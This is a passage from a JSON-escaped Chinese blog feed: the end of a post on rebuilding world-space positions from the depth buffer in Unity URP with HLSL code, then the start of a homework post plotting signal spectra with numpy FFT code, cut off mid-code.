class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSampleSceneDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"cp\"\u003e#if !UNITY_REVERSED_Z\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunity_MatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"相似三角形法\"\u003e相似三角形法\u003ca class=\"headerlink\" href=\"#相似三角形法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这个方法来自 SIGGRAPH 2011 中的 Secrets of CryENGINE 3  Graphics Technology。\u003c/p\u003e\n\u003ch3 id=\"推导_1\"\u003e推导\u003ca class=\"headerlink\" href=\"#推导_1\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"原理图(原图来自 Secrets of CryENGINE 3  Graphics Technology 的 ppt)\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240711142202.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e假设要重建点 C 的世界坐标。由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\triangle \\text{ABC} \\sim \\triangle \\text{ADE}\n\\]\u003c/div\u003e\n\u003cp\u003e得到\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\dfrac{\\left | \\text{AB} \\right |}{\\left | \\text{AD} \\right |} = \\dfrac{\\left | \\text{AC} \\right |}{\\left | \\text{AE} \\right |}\n\\]\u003c/div\u003e\n\u003cp\u003e如果深度是在 Linear01 空间的话,\u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AD} \\right | =1\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AB} \\right |\\)\u003c/span\u003e 就是点 C 的 Linear01Depth,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\overrightarrow{\\text{AC}} = \\left | \\text{AB} \\right | \\overrightarrow{\\text{AE}}\n\\]\u003c/div\u003e\n\u003cp\u003e等号两边同时变换到世界空间\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\overrightarrow{\\text{AC}}_\\text{ws} = \\left | \\text{AB} \\right | \\overrightarrow{\\text{AE}}_\\text{ws}\n\\]\u003c/div\u003e\n\u003cp\u003e再加上点 A(相机)的世界坐标就能算出点 C 的世界坐标。\u003c/p\u003e\n\u003ch3 id=\"URP-实现_1\"\u003eURP 实现\u003ca class=\"headerlink\" href=\"#URP-实现_1\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.universal/ShaderLibrary/DeclareDepthTexture.hlsl\u0026quot;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e先在 Vertex Shader 里计算 \u003cspan class=\"arithmatex\"\u003e\\(\\overrightarrow{\\text{AE}}_\\text{ws}\\)\u003c/span\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// 在 Blit Shader 中 texcoord 需要使用 API 计算出来,参考 Packages/com.unity.render-pipelines.core/Runtime/Utilities/Blit.hlsl\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNITY_RAW_FAR_CLIP_VALUE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunity_MatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eviewRayWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetCameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Fragment Shader 里,还原世界坐标\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinear01Depth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSampleSceneDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZBufferParams\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eviewRayWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetCameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个方法的矩阵运算在 Vertex Shader 里进行,计算量小一点,但是 URP 的 Blit Vertex Shader 改起来相对麻烦一点。第一种方法只需要改 Fragment Shader 就行了,更好写。\u003c/p\u003e\n\u003ch2 id=\"参考资料\"\u003e参考资料\u003ca class=\"headerlink\" href=\"#参考资料\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://blog.csdn.net/yinfourever/article/details/120935179\"\u003eUnity URP中根据深度重建世界坐标_computeworldspaceposition-CSDN博客\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@14.0/manual/writing-shaders-urp-reconstruct-world-position.html\"\u003eReconstruct the world space positions of pixels from the depth texture | Universal RP | 14.0.11 (unity3d.com)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/depth-reconstruct-world-position/"},{"title":"实信号与复信号的频谱实验","time":"2024-06-17T08:58:05Z","content":"\u003ch1 id=\"实信号与复信号的频谱实验\"\u003e实信号与复信号的频谱实验\u003ca class=\"headerlink\" href=\"#实信号与复信号的频谱实验\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大二下,信号与系统作业。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e画出 \u003cspan class=\"arithmatex\"\u003e\\(\\cos(\\omega_0 t + \\phi)\\)\u003c/span\u003e 的频谱,其中 \u003cspan class=\"arithmatex\"\u003e\\(\\omega_0\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(1,3,6\\)\u003c/span\u003e;\u003cspan class=\"arithmatex\"\u003e\\(\\phi\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(15^\\circ, -30^\\circ, 60^\\circ\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e画出 \u003cspan class=\"arithmatex\"\u003e\\(\\exp(j(\\omega_0 t + \\phi))\\)\u003c/span\u003e 的频谱,其中 \u003cspan class=\"arithmatex\"\u003e\\(\\omega_0\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(1,3,6\\)\u003c/span\u003e;\u003cspan class=\"arithmatex\"\u003e\\(\\phi\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(15^\\circ, -30^\\circ, 60^\\circ\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e将第二问中的 3 个复信号两两组合,写出获得的 3 个信号的表达式,分别画出其实部信号的频谱。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"../../../obsidian-vault/attachments/files/SignalSpectrum.ipynb\"\u003e打开 Jupyter Notebook 版\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前置准备\"\u003e前置准备\u003ca class=\"headerlink\" href=\"#前置准备\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e# 导入必要的库\u003c/span\u003e\n\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003enumpy\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003enp\u003c/span\u003e\n\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ematplotlib.pyplot\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003eplt\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 题目中的 omega 和 phi 的取值\u003c/span\u003e\n\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eradians\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e因为题目给的函数对应的 \u003cspan class=\"arithmatex\"\u003e\\(F(j\\omega)\\)\u003c/span\u003e 只在某几个点处有取值,所以可以用 DFT 计算它。\u003c/p\u003e\n\u003cp\u003e先在一个周期 \u003cspan class=\"arithmatex\"\u003e\\([0, 2\\pi)\\)\u003c/span\u003e 里以 \u003cspan class=\"arithmatex\"\u003e\\(1000\\)\u003c/span\u003e 的采样率进行均匀采样,把函数 \u003cspan class=\"arithmatex\"\u003e\\(f\\)\u003c/span\u003e 离散化,再用 FFT 算法计算其 DFT。需要注意的是,由于采样率为 \u003cspan class=\"arithmatex\"\u003e\\(1000\\)\u003c/span\u003e,所以实际上是在对 \u003cspan class=\"arithmatex\"\u003e\\(f \\left(\\dfrac{k}{1000} \\right)\\)\u003c/span\u003e 做 DFT,算出来的结果需要除掉采样率做修正。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epi\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 一个周期\u003c/span\u003e\n\u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 采样率\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 对函数进行傅里叶变换\u003c/span\u003e\n\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003ecompute_fourier_transform\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elinspace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eendpoint\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003esamples\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efftfreq\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esamples\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e \u003cspan class=\"o\"\u003e*=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epi\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 转换为角频率\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003edft\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esamples\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e\n \u003cspan class=\"n\"\u003enonzero\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewhere\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edft\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mf\"\u003e1e-10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003enonzero\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"n\"\u003edft\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003enonzero\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e下面写了一个 \u003ccode\u003eplot_signals\u003c/code\u003e 函数,用于同时绘制多个信号的频谱。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"fm\"\u003e__init__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\n \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 关于时间的函数\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 绘制频谱图\u003c/span\u003e\n\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e]):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efigure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efigsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esig\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalues\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecompute_fourier_transform\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esig\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalues\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003ephase\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eangle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalues\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003edeg\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e# 绘制幅度\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubplot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 